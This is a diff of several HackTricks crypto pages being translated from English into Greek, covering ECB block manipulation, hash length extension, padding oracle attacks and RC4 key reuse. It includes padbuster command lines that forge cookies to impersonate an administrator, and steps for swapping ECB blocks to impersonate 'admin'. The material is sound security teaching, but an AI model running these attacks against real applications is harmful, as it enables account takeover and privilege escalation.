- Όταν κάνετε dump ένα εκτελέσιμο από μια περιοχή μνήμης, μπορείτε να διορθώσετε κάποιες κεφαλίδες χρησιμοποιώντας [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,72 +2,66 @@
|
||||
|
||||
# ECB
|
||||
|
||||
(ECB) Electronic Code Book - symmetric encryption scheme which **replaces each block of the clear text** by the **block of ciphertext**. It is the **simplest** encryption scheme. The main idea is to **split** the clear text into **blocks of N bits** (depends on the size of the block of input data, encryption algorithm) and then to encrypt (decrypt) each block of clear text using the only key.
|
||||
(ECB) Ηλεκτρονικό Βιβλίο Κωδικών - συμμετρικό σχήμα κρυπτογράφησης που **αντικαθιστά κάθε μπλοκ του καθαρού κειμένου** με το **μπλοκ του κρυπτογραφημένου κειμένου**. Είναι το **απλούστερο** σχήμα κρυπτογράφησης. Η κύρια ιδέα είναι να **χωρίσετε** το καθαρό κείμενο σε **μπλοκ N bit** (εξαρτάται από το μέγεθος του μπλοκ των εισερχόμενων δεδομένων, αλγόριθμο κρυπτογράφησης) και στη συνέχεια να κρυπτογραφήσετε (αποκρυπτογραφήσετε) κάθε μπλοκ του καθαρού κειμένου χρησιμοποιώντας το μόνο κλειδί.
|
||||
|
||||

|
||||
|
||||
Using ECB has multiple security implications:
|
||||
Η χρήση του ECB έχει πολλές επιπτώσεις στην ασφάλεια:
|
||||
|
||||
- **Blocks from encrypted message can be removed**
|
||||
- **Blocks from encrypted message can be moved around**
|
||||
- **Μπλοκ από το κρυπτογραφημένο μήνυμα μπορούν να αφαιρεθούν**
|
||||
- **Μπλοκ από το κρυπτογραφημένο μήνυμα μπορούν να μετακινηθούν**
|
||||
|
||||
# Detection of the vulnerability
|
||||
# Ανίχνευση της ευπάθειας
|
||||
|
||||
Imagine you login into an application several times and you **always get the same cookie**. This is because the cookie of the application is **`<username>|<password>`**.\
|
||||
Then, you generate to new users, both of them with the **same long password** and **almost** the **same** **username**.\
|
||||
You find out that the **blocks of 8B** where the **info of both users** is the same are **equals**. Then, you imagine that this might be because **ECB is being used**.
|
||||
|
||||
Like in the following example. Observe how these** 2 decoded cookies** has several times the block **`\x23U\xE45K\xCB\x21\xC8`**
|
||||
Φανταστείτε ότι συνδέεστε σε μια εφαρμογή πολλές φορές και **πάντα λαμβάνετε το ίδιο cookie**. Αυτό συμβαίνει επειδή το cookie της εφαρμογής είναι **`<username>|<password>`**.\
|
||||
Στη συνέχεια, δημιουργείτε δύο νέους χρήστες, και οι δύο με το **ίδιο μακρύ κωδικό πρόσβασης** και **σχεδόν** το **ίδιο** **όνομα χρήστη**.\
|
||||
Ανακαλύπτετε ότι τα **μπλοκ των 8B** όπου οι **πληροφορίες και των δύο χρηστών** είναι οι ίδιες είναι **ίσα**. Στη συνέχεια, φαντάζεστε ότι αυτό μπορεί να συμβαίνει επειδή **χρησιμοποιείται το ECB**.
|
||||
|
||||
Όπως στο παρακάτω παράδειγμα. Παρατηρήστε πώς αυτά τα **2 αποκωδικοποιημένα cookies** έχουν πολλές φορές το μπλοκ **`\x23U\xE45K\xCB\x21\xC8`**.
|
||||
```
|
||||
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
|
||||
|
||||
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
|
||||
```
|
||||
Αυτό συμβαίνει επειδή το **όνομα χρήστη και ο κωδικός πρόσβασης αυτών των cookies περιείχαν πολλές φορές το γράμμα "a"** (για παράδειγμα). Οι **μπλοκ** που είναι **διαφορετικοί** είναι μπλοκ που περιείχαν **τουλάχιστον 1 διαφορετικό χαρακτήρα** (ίσως το διαχωριστικό "|" ή κάποια απαραίτητη διαφορά στο όνομα χρήστη).
|
||||
|
||||
This is because the **username and password of those cookies contained several times the letter "a"** (for example). The **blocks** that are **different** are blocks that contained **at least 1 different character** (maybe the delimiter "|" or some necessary difference in the username).
|
||||
Τώρα, ο επιτιθέμενος χρειάζεται απλώς να ανακαλύψει αν η μορφή είναι `<username><delimiter><password>` ή `<password><delimiter><username>`. Για να το κάνει αυτό, μπορεί απλώς να **δημιουργήσει αρκετά ονόματα χρήστη** με **παρόμοια και μακριά ονόματα χρήστη και κωδικούς πρόσβασης μέχρι να βρει τη μορφή και το μήκος του διαχωριστικού:**
|
||||
|
||||
Now, the attacker just need to discover if the format is `<username><delimiter><password>` or `<password><delimiter><username>`. For doing that, he can just **generate several usernames **with s**imilar and long usernames and passwords until he find the format and the length of the delimiter:**
|
||||
| Μήκος ονόματος χρήστη: | Μήκος κωδικού πρόσβασης: | Μήκος ονόματος χρήστη+Κωδικού πρόσβασης: | Μήκος cookie (μετά την αποκωδικοποίηση): |
|
||||
| ----------------------- | ------------------------ | ------------------------------------------ | ---------------------------------------- |
|
||||
| 2 | 2 | 4 | 8 |
|
||||
| 3 | 3 | 6 | 8 |
|
||||
| 3 | 4 | 7 | 8 |
|
||||
| 4 | 4 | 8 | 16 |
|
||||
| 7 | 7 | 14 | 16 |
|
||||
|
||||
| Username length: | Password length: | Username+Password length: | Cookie's length (after decoding): |
|
||||
| ---------------- | ---------------- | ------------------------- | --------------------------------- |
|
||||
| 2 | 2 | 4 | 8 |
|
||||
| 3 | 3 | 6 | 8 |
|
||||
| 3 | 4 | 7 | 8 |
|
||||
| 4 | 4 | 8 | 16 |
|
||||
| 7 | 7 | 14 | 16 |
|
||||
# Εκμετάλλευση της ευπάθειας
|
||||
|
||||
# Exploitation of the vulnerability
|
||||
|
||||
## Removing entire blocks
|
||||
|
||||
Knowing the format of the cookie (`<username>|<password>`), in order to impersonate the username `admin` create a new user called `aaaaaaaaadmin` and get the cookie and decode it:
|
||||
## Αφαίρεση ολόκληρων μπλοκ
|
||||
|
||||
Γνωρίζοντας τη μορφή του cookie (`<username>|<password>`), προκειμένου να προσποιηθεί το όνομα χρήστη `admin`, δημιουργήστε έναν νέο χρήστη με το όνομα `aaaaaaaaadmin` και αποκτήστε το cookie και αποκωδικοποιήστε το:
|
||||
```
|
||||
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
|
||||
```
|
||||
|
||||
We can see the pattern `\x23U\xE45K\xCB\x21\xC8` created previously with the username that contained only `a`.\
|
||||
Then, you can remove the first block of 8B and you will et a valid cookie for the username `admin`:
|
||||
|
||||
Μπορούμε να δούμε το μοτίβο `\x23U\xE45K\xCB\x21\xC8` που δημιουργήθηκε προηγουμένως με το όνομα χρήστη που περιείχε μόνο `a`.\
|
||||
Στη συνέχεια, μπορείτε να αφαιρέσετε το πρώτο μπλοκ των 8B και θα αποκτήσετε ένα έγκυρο cookie για το όνομα χρήστη `admin`:
|
||||
```
|
||||
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
|
||||
```
|
||||
## Μετακίνηση μπλοκ
|
||||
|
||||
## Moving blocks
|
||||
Σε πολλές βάσεις δεδομένων είναι το ίδιο να αναζητάς `WHERE username='admin';` ή `WHERE username='admin ';` _(Σημειώστε τα επιπλέον κενά)_
|
||||
|
||||
In many databases it is the same to search for `WHERE username='admin';` or for `WHERE username='admin ';` _(Note the extra spaces)_
|
||||
Έτσι, ένας άλλος τρόπος για να προσποιηθείς τον χρήστη `admin` θα ήταν να:
|
||||
|
||||
So, another way to impersonate the user `admin` would be to:
|
||||
- Δημιουργήσεις ένα όνομα χρήστη που: `len(<username>) + len(<delimiter) % len(block)`. Με μέγεθος μπλοκ `8B` μπορείς να δημιουργήσεις ένα όνομα χρήστη που ονομάζεται: `username `, με τον διαχωριστή `|` το κομμάτι `<username><delimiter>` θα δημιουργήσει 2 μπλοκ των 8Bs.
|
||||
- Στη συνέχεια, να δημιουργήσεις έναν κωδικό πρόσβασης που θα γεμίσει έναν ακριβή αριθμό μπλοκ που περιέχουν το όνομα χρήστη που θέλουμε να προσποιηθούμε και κενά, όπως: `admin `
|
||||
|
||||
- Generate a username that: `len(<username>) + len(<delimiter) % len(block)`. With a block size of `8B` you can generate username called: `username `, with the delimiter `|` the chunk `<username><delimiter>` will generate 2 blocks of 8Bs.
|
||||
- Then, generate a password that will fill an exact number of blocks containing the username we want to impersonate and spaces, like: `admin `
|
||||
Το cookie αυτού του χρήστη θα αποτελείται από 3 μπλοκ: τα πρώτα 2 είναι τα μπλοκ του ονόματος χρήστη + διαχωριστής και το τρίτο από τον κωδικό πρόσβασης (ο οποίος προσποιείται το όνομα χρήστη): `username |admin `
|
||||
|
||||
The cookie of this user is going to be composed by 3 blocks: the first 2 is the blocks of the username + delimiter and the third one of the password (which is faking the username): `username |admin `
|
||||
**Στη συνέχεια, απλώς αντικατέστησε το πρώτο μπλοκ με το τελευταίο και θα προσποιείσαι τον χρήστη `admin`: `admin |username`**
|
||||
|
||||
**Then, just replace the first block with the last time and will be impersonating the user `admin`: `admin |username`**
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
|
||||
- [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](<http://cryptowiki.net/index.php?title=Electronic_Code_Book_(ECB)>)
|
||||
|
||||
|
||||
@ -1,18 +1,16 @@
|
||||
# Esoteric languages
|
||||
# Εσωτερικές γλώσσες
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page)
|
||||
|
||||
Check that wiki to search more esotreic languages
|
||||
Ελέγξτε αυτή τη wiki για να αναζητήσετε περισσότερες εσωτερικές γλώσσες
|
||||
|
||||
## Malbolge
|
||||
|
||||
```
|
||||
('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}=<M:9wv6WsU2T|nm-,jcL(I&%$#"
|
||||
`CB]V?Tx<uVtT`Rpo3NlF.Jh++FdbCBA@?]!~|4XzyTT43Qsqq(Lnmkj"Fhg${z@>
|
||||
```
|
||||
|
||||
[http://malbolge.doleczek.pl/](http://malbolge.doleczek.pl)
|
||||
|
||||
## npiet
|
||||
@ -22,7 +20,6 @@ Check that wiki to search more esotreic languages
|
||||
[https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php)
|
||||
|
||||
## Rockstar
|
||||
|
||||
```
|
||||
Midnight takes your heart and your soul
|
||||
While your heart is as high as your soul
|
||||
@ -51,11 +48,9 @@ Take it to the top
|
||||
|
||||
Whisper my world
|
||||
```
|
||||
|
||||
{% embed url="https://codewithrockstar.com/" %}
|
||||
|
||||
## PETOOH
|
||||
|
||||
```
|
||||
KoKoKoKoKoKoKoKoKoKo Kud-Kudah
|
||||
KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah
|
||||
@ -65,5 +60,4 @@ KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek
|
||||
kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO
|
||||
Kukarek
|
||||
```
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,37 +2,37 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Summary of the attack
|
||||
## Περίληψη της επίθεσης
|
||||
|
||||
Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know:
|
||||
Φανταστείτε έναν διακομιστή που **υπογράφει** κάποια **δεδομένα** προσθέτοντας ένα **μυστικό** σε κάποια γνωστά καθαρά δεδομένα και στη συνέχεια κατακερματίζοντας αυτά τα δεδομένα. Αν γνωρίζετε:
|
||||
|
||||
- **The length of the secret** (this can be also bruteforced from a given length range)
|
||||
- **The clear text data**
|
||||
- **The algorithm (and it's vulnerable to this attack)**
|
||||
- **The padding is known**
|
||||
- Usually a default one is used, so if the other 3 requirements are met, this also is
|
||||
- The padding vary depending on the length of the secret+data, that's why the length of the secret is needed
|
||||
- **Το μήκος του μυστικού** (αυτό μπορεί επίσης να βρεθεί με brute force από μια δεδομένη περιοχή μήκους)
|
||||
- **Τα καθαρά δεδομένα**
|
||||
- **Ο αλγόριθμος (και είναι ευάλωτος σε αυτή την επίθεση)**
|
||||
- **Η προσθήκη είναι γνωστή**
|
||||
- Συνήθως χρησιμοποιείται μια προεπιλεγμένη, οπότε αν πληρούνται οι άλλες 3 απαιτήσεις, αυτό ισχύει επίσης
|
||||
- Η προσθήκη ποικίλλει ανάλογα με το μήκος του μυστικού + δεδομένα, γι' αυτό χρειάζεται το μήκος του μυστικού
|
||||
|
||||
Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previous data + appended data**.
|
||||
Τότε, είναι δυνατό για έναν **επιτιθέμενο** να **προσθέσει** **δεδομένα** και να **δημιουργήσει** μια έγκυρη **υπογραφή** για τα **προηγούμενα δεδομένα + προστιθέμενα δεδομένα**.
|
||||
|
||||
### How?
|
||||
### Πώς;
|
||||
|
||||
Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** (state), they **add the next block of data** and **hash it**.
|
||||
Βασικά, οι ευάλωτοι αλγόριθμοι δημιουργούν τους κατακερματισμούς πρώτα **κατακερματίζοντας ένα μπλοκ δεδομένων**, και στη συνέχεια, **από** τον **προηγουμένως** δημιουργημένο **κατακερματισμό** (κατάσταση), **προσθέτουν το επόμενο μπλοκ δεδομένων** και **το κατακερματίζουν**.
|
||||
|
||||
Then, imagine that the secret is "secret" and the data is "data", the MD5 of "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||
If an attacker wants to append the string "append" he can:
|
||||
Τότε, φανταστείτε ότι το μυστικό είναι "secret" και τα δεδομένα είναι "data", ο MD5 του "secretdata" είναι 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||
Αν ένας επιτιθέμενος θέλει να προσθέσει τη συμβολοσειρά "append" μπορεί να:
|
||||
|
||||
- Generate a MD5 of 64 "A"s
|
||||
- Change the state of the previously initialized hash to 6036708eba0d11f6ef52ad44e8b74d5b
|
||||
- Append the string "append"
|
||||
- Finish the hash and the resulting hash will be a **valid one for "secret" + "data" + "padding" + "append"**
|
||||
- Δημιουργήσει έναν MD5 από 64 "A"s
|
||||
- Αλλάξει την κατάσταση του προηγουμένως αρχικοποιημένου κατακερματισμού σε 6036708eba0d11f6ef52ad44e8b74d5b
|
||||
- Προσθέσει τη συμβολοσειρά "append"
|
||||
- Ολοκληρώσει τον κατακερματισμό και ο προκύπτων κατακερματισμός θα είναι **έγκυρος για "secret" + "data" + "padding" + "append"**
|
||||
|
||||
### **Tool**
|
||||
### **Εργαλείο**
|
||||
|
||||
{% embed url="https://github.com/iagox86/hash_extender" %}
|
||||
|
||||
### References
|
||||
### Αναφορές
|
||||
|
||||
You can find this attack good explained in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
|
||||
Μπορείτε να βρείτε αυτή την επίθεση καλά εξηγημένη στο [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,26 +2,24 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## CBC - Cipher Block Chaining
|
||||
|
||||
In CBC mode the **previous encrypted block is used as IV** to XOR with the next block:
|
||||
Στη λειτουργία CBC, το **προηγούμενο κρυπτογραφημένο μπλοκ χρησιμοποιείται ως IV** για XOR με το επόμενο μπλοκ:
|
||||
|
||||

|
||||
|
||||
To decrypt CBC the **opposite** **operations** are done:
|
||||
Για να αποκρυπτογραφήσετε το CBC, γίνονται οι **αντίθετες** **λειτουργίες**:
|
||||
|
||||

|
||||
|
||||
Notice how it's needed to use an **encryption** **key** and an **IV**.
|
||||
Σημειώστε ότι είναι απαραίτητο να χρησιμοποιήσετε ένα **κλειδί** **κρυπτογράφησης** και ένα **IV**.
|
||||
|
||||
## Message Padding
|
||||
|
||||
As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\
|
||||
Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`.
|
||||
Καθώς η κρυπτογράφηση εκτελείται σε **σταθερού** **μεγέθους** **μπλοκ**, συνήθως απαιτείται **padding** στο **τελευταίο** **μπλοκ** για να ολοκληρωθεί το μήκος του.\
|
||||
Συνήθως χρησιμοποιείται το **PKCS7**, το οποίο δημιουργεί ένα padding **επαναλαμβάνοντας** τον **αριθμό** των **byte** που **χρειάζονται** για να **ολοκληρωθεί** το μπλοκ. Για παράδειγμα, αν το τελευταίο μπλοκ λείπουν 3 byte, το padding θα είναι `\x03\x03\x03`.
|
||||
|
||||
Let's look at more examples with a **2 blocks of length 8bytes**:
|
||||
Ας δούμε περισσότερα παραδείγματα με **2 μπλοκ μήκους 8byte**:
|
||||
|
||||
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
|
||||
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
|
||||
@ -30,51 +28,43 @@ Let's look at more examples with a **2 blocks of length 8bytes**:
|
||||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
|
||||
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
|
||||
|
||||
Note how in the last example the **last block was full so another one was generated only with padding**.
|
||||
Σημειώστε πώς στο τελευταίο παράδειγμα το **τελευταίο μπλοκ ήταν γεμάτο, οπότε δημιουργήθηκε ένα άλλο μόνο με padding**.
|
||||
|
||||
## Padding Oracle
|
||||
|
||||
When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**.
|
||||
Όταν μια εφαρμογή αποκρυπτογραφεί κρυπτογραφημένα δεδομένα, πρώτα θα αποκρυπτογραφήσει τα δεδομένα και στη συνέχεια θα αφαιρέσει το padding. Κατά την καθαριότητα του padding, αν μια **μη έγκυρη padding προκαλεί μια ανιχνεύσιμη συμπεριφορά**, έχετε μια **ευπάθεια padding oracle**. Η ανιχνεύσιμη συμπεριφορά μπορεί να είναι ένα **σφάλμα**, μια **έλλειψη αποτελεσμάτων** ή μια **αργή απόκριση**.
|
||||
|
||||
If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**.
|
||||
Αν ανιχνεύσετε αυτή τη συμπεριφορά, μπορείτε να **αποκρυπτογραφήσετε τα κρυπτογραφημένα δεδομένα** και ακόμη και να **κρυπτογραφήσετε οποιοδήποτε καθαρό κείμενο**.
|
||||
|
||||
### How to exploit
|
||||
|
||||
You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do
|
||||
|
||||
Μπορείτε να χρησιμοποιήσετε [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) για να εκμεταλλευτείτε αυτό το είδος ευπάθειας ή απλά να κάνετε
|
||||
```
|
||||
sudo apt-get install padbuster
|
||||
```
|
||||
|
||||
In order to test if the cookie of a site is vulnerable you could try:
|
||||
|
||||
Για να δοκιμάσετε αν το cookie μιας ιστοσελίδας είναι ευάλωτο, θα μπορούσατε να δοκιμάσετε:
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
|
||||
```
|
||||
**Encoding 0** σημαίνει ότι χρησιμοποιείται **base64** (αλλά υπάρχουν και άλλες διαθέσιμες επιλογές, ελέγξτε το μενού βοήθειας).
|
||||
|
||||
**Encoding 0** means that **base64** is used (but others are available, check the help menu).
|
||||
|
||||
You could also **abuse this vulnerability to encrypt new data. For example, imagine that the content of the cookie is "**_**user=MyUsername**_**", then you may change it to "\_user=administrator\_" and escalate privileges inside the application. You could also do it using `paduster`specifying the -plaintext** parameter:
|
||||
|
||||
Μπορείτε επίσης να **καταχραστείτε αυτήν την ευπάθεια για να κρυπτογραφήσετε νέα δεδομένα. Για παράδειγμα, φανταστείτε ότι το περιεχόμενο του cookie είναι "**_**user=MyUsername**_**", τότε μπορείτε να το αλλάξετε σε "\_user=administrator\_" και να κλιμακώσετε τα δικαιώματα μέσα στην εφαρμογή. Μπορείτε επίσης να το κάνετε χρησιμοποιώντας `paduster` καθορίζοντας την παράμετρο -plaintext**:
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
|
||||
```
|
||||
|
||||
If the site is vulnerable `padbuster`will automatically try to find when the padding error occurs, but you can also indicating the error message it using the **-error** parameter.
|
||||
|
||||
Αν ο ιστότοπος είναι ευάλωτος, το `padbuster` θα προσπαθήσει αυτόματα να βρει πότε συμβαίνει το σφάλμα padding, αλλά μπορείτε επίσης να υποδείξετε το μήνυμα σφάλματος χρησιμοποιώντας την παράμετρο **-error**.
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
|
||||
```
|
||||
### Η θεωρία
|
||||
|
||||
### The theory
|
||||
|
||||
In **summary**, you can start decrypting the encrypted data by guessing the correct values that can be used to create all the **different paddings**. Then, the padding oracle attack will start decrypting bytes from the end to the start by guessing which will be the correct value that **creates a padding of 1, 2, 3, etc**.
|
||||
Συνοπτικά, μπορείτε να ξεκινήσετε την αποκρυπτογράφηση των κρυπτογραφημένων δεδομένων μαντεύοντας τις σωστές τιμές που μπορούν να χρησιμοποιηθούν για να δημιουργήσουν όλα τα διαφορετικά padding. Στη συνέχεια, η επίθεση padding oracle θα αρχίσει να αποκρυπτογραφεί τα bytes από το τέλος προς την αρχή μαντεύοντας ποια θα είναι η σωστή τιμή που δημιουργεί ένα padding 1, 2, 3, κ.λπ.
|
||||
|
||||
.png>)
|
||||
|
||||
Imagine you have some encrypted text that occupies **2 blocks** formed by the bytes from **E0 to E15**.\
|
||||
In order to **decrypt** the **last** **block** (**E8** to **E15**), the whole block passes through the "block cipher decryption" generating the **intermediary bytes I0 to I15**.\
|
||||
Finally, each intermediary byte is **XORed** with the previous encrypted bytes (E0 to E7). So:
|
||||
Φανταστείτε ότι έχετε κάποιο κρυπτογραφημένο κείμενο που καταλαμβάνει 2 blocks που σχηματίζονται από τα bytes από E0 έως E15.\
|
||||
Για να αποκρυπτογραφήσετε το τελευταίο block (E8 έως E15), ολόκληρο το block περνάει από την "αποκρυπτογράφηση block cipher" παράγοντας τα ενδιάμεσα bytes I0 έως I15.\
|
||||
Τέλος, κάθε ενδιάμεσο byte XORed με τα προηγούμενα κρυπτογραφημένα bytes (E0 έως E7). Έτσι:
|
||||
|
||||
- `C15 = D(E15) ^ E7 = I15 ^ E7`
|
||||
- `C14 = I14 ^ E6`
|
||||
@ -82,31 +72,30 @@ Finally, each intermediary byte is **XORed** with the previous encrypted bytes (
|
||||
- `C12 = I12 ^ E4`
|
||||
- ...
|
||||
|
||||
Now, It's possible to **modify `E7` until `C15` is `0x01`**, which will also be a correct padding. So, in this case: `\x01 = I15 ^ E'7`
|
||||
Τώρα, είναι δυνατόν να τροποποιήσετε το `E7` μέχρι το `C15` να είναι `0x01`, το οποίο θα είναι επίσης ένα σωστό padding. Έτσι, σε αυτή την περίπτωση: `\x01 = I15 ^ E'7`
|
||||
|
||||
So, finding E'7, it's **possible to calculate I15**: `I15 = 0x01 ^ E'7`
|
||||
Έτσι, βρίσκοντας το E'7, είναι δυνατόν να υπολογίσετε το I15: `I15 = 0x01 ^ E'7`
|
||||
|
||||
Which allow us to **calculate C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
||||
Το οποίο μας επιτρέπει να υπολογίσουμε το C15: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
||||
|
||||
Knowing **C15**, now it's possible to **calculate C14**, but this time brute-forcing the padding `\x02\x02`.
|
||||
Γνωρίζοντας το C15, τώρα είναι δυνατόν να υπολογίσουμε το C14, αλλά αυτή τη φορά brute-forcing το padding `\x02\x02`.
|
||||
|
||||
This BF is as complex as the previous one as it's possible to calculate the the `E''15` whose value is 0x02: `E''7 = \x02 ^ I15` so it's just needed to find the **`E'14`** that generates a **`C14` equals to `0x02`**.\
|
||||
Then, do the same steps to decrypt C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
|
||||
Αυτή η BF είναι εξίσου περίπλοκη με την προηγούμενη καθώς είναι δυνατόν να υπολογιστεί το `E''15` του οποίου η τιμή είναι 0x02: `E''7 = \x02 ^ I15` οπότε χρειάζεται απλώς να βρείτε το **`E'14`** που παράγει ένα **`C14` ίσο με `0x02`**.\
|
||||
Στη συνέχεια, κάντε τα ίδια βήματα για να αποκρυπτογραφήσετε το C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
|
||||
|
||||
**Follow this chain until you decrypt the whole encrypted text.**
|
||||
**Ακολουθήστε αυτή την αλυσίδα μέχρι να αποκρυπτογραφήσετε ολόκληρο το κρυπτογραφημένο κείμενο.**
|
||||
|
||||
### Detection of the vulnerability
|
||||
### Ανίχνευση της ευπάθειας
|
||||
|
||||
Register and account and log in with this account .\
|
||||
If you **log in many times** and always get the **same cookie**, there is probably **something** **wrong** in the application. The **cookie sent back should be unique** each time you log in. If the cookie is **always** the **same**, it will probably always be valid and there **won't be anyway to invalidate i**t.
|
||||
Εγγραφείτε και συνδεθείτε με αυτόν τον λογαριασμό.\
|
||||
Αν συνδεθείτε πολλές φορές και πάντα λαμβάνετε το ίδιο cookie, πιθανότατα υπάρχει κάτι λάθος στην εφαρμογή. Το cookie που επιστρέφεται θα πρέπει να είναι μοναδικό κάθε φορά που συνδέεστε. Αν το cookie είναι πάντα το ίδιο, πιθανότατα θα είναι πάντα έγκυρο και δεν θα υπάρχει τρόπος να το ακυρώσετε.
|
||||
|
||||
Now, if you try to **modify** the **cookie**, you can see that you get an **error** from the application.\
|
||||
But if you BF the padding (using padbuster for example) you manage to get another cookie valid for a different user. This scenario is highly probably vulnerable to padbuster.
|
||||
Τώρα, αν προσπαθήσετε να τροποποιήσετε το cookie, μπορείτε να δείτε ότι λαμβάνετε ένα σφάλμα από την εφαρμογή.\
|
||||
Αλλά αν κάνετε BF το padding (χρησιμοποιώντας το padbuster για παράδειγμα) καταφέρετε να αποκτήσετε ένα άλλο cookie έγκυρο για διαφορετικό χρήστη. Αυτό το σενάριο είναι πολύ πιθανό να είναι ευάλωτο στο padbuster.
|
||||
|
||||
### References
|
||||
### Αναφορές
|
||||
|
||||
- [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,8 +1,8 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
If you can somehow encrypt a plaintext using RC4, you can decrypt any content encrypted by that RC4 (using the same password) just using the encryption function.
|
||||
Αν μπορείτε με κάποιο τρόπο να κρυπτογραφήσετε ένα απλό κείμενο χρησιμοποιώντας RC4, μπορείτε να αποκρυπτογραφήσετε οποιοδήποτε περιεχόμενο έχει κρυπτογραφηθεί με αυτό το RC4 (χρησιμοποιώντας τον ίδιο κωδικό πρόσβασης) απλά χρησιμοποιώντας τη λειτουργία κρυπτογράφησης.
|
||||
|
||||
If you can encrypt a known plaintext you can also extract the password. More references can be found in the HTB Kryptos machine:
|
||||
Αν μπορείτε να κρυπτογραφήσετε ένα γνωστό απλό κείμενο, μπορείτε επίσης να εξάγετε τον κωδικό πρόσβασης. Περισσότερες αναφορές μπορείτε να βρείτε στη μηχανή HTB Kryptos:
|
||||
|
||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||
|
||||
|
||||
@ -2,50 +2,41 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **Extracting Data from Files**
|
||||
## **Εξαγωγή Δεδομένων από Αρχεία**
|
||||
|
||||
### **Binwalk**
|
||||
|
||||
A tool for searching binary files for embedded hidden files and data. It's installed via `apt` and its source is available on [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
|
||||
Ένα εργαλείο για την αναζήτηση δυαδικών αρχείων για ενσωματωμένα κρυφά αρχεία και δεδομένα. Εγκαθίσταται μέσω του `apt` και η πηγή του είναι διαθέσιμη στο [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
```bash
|
||||
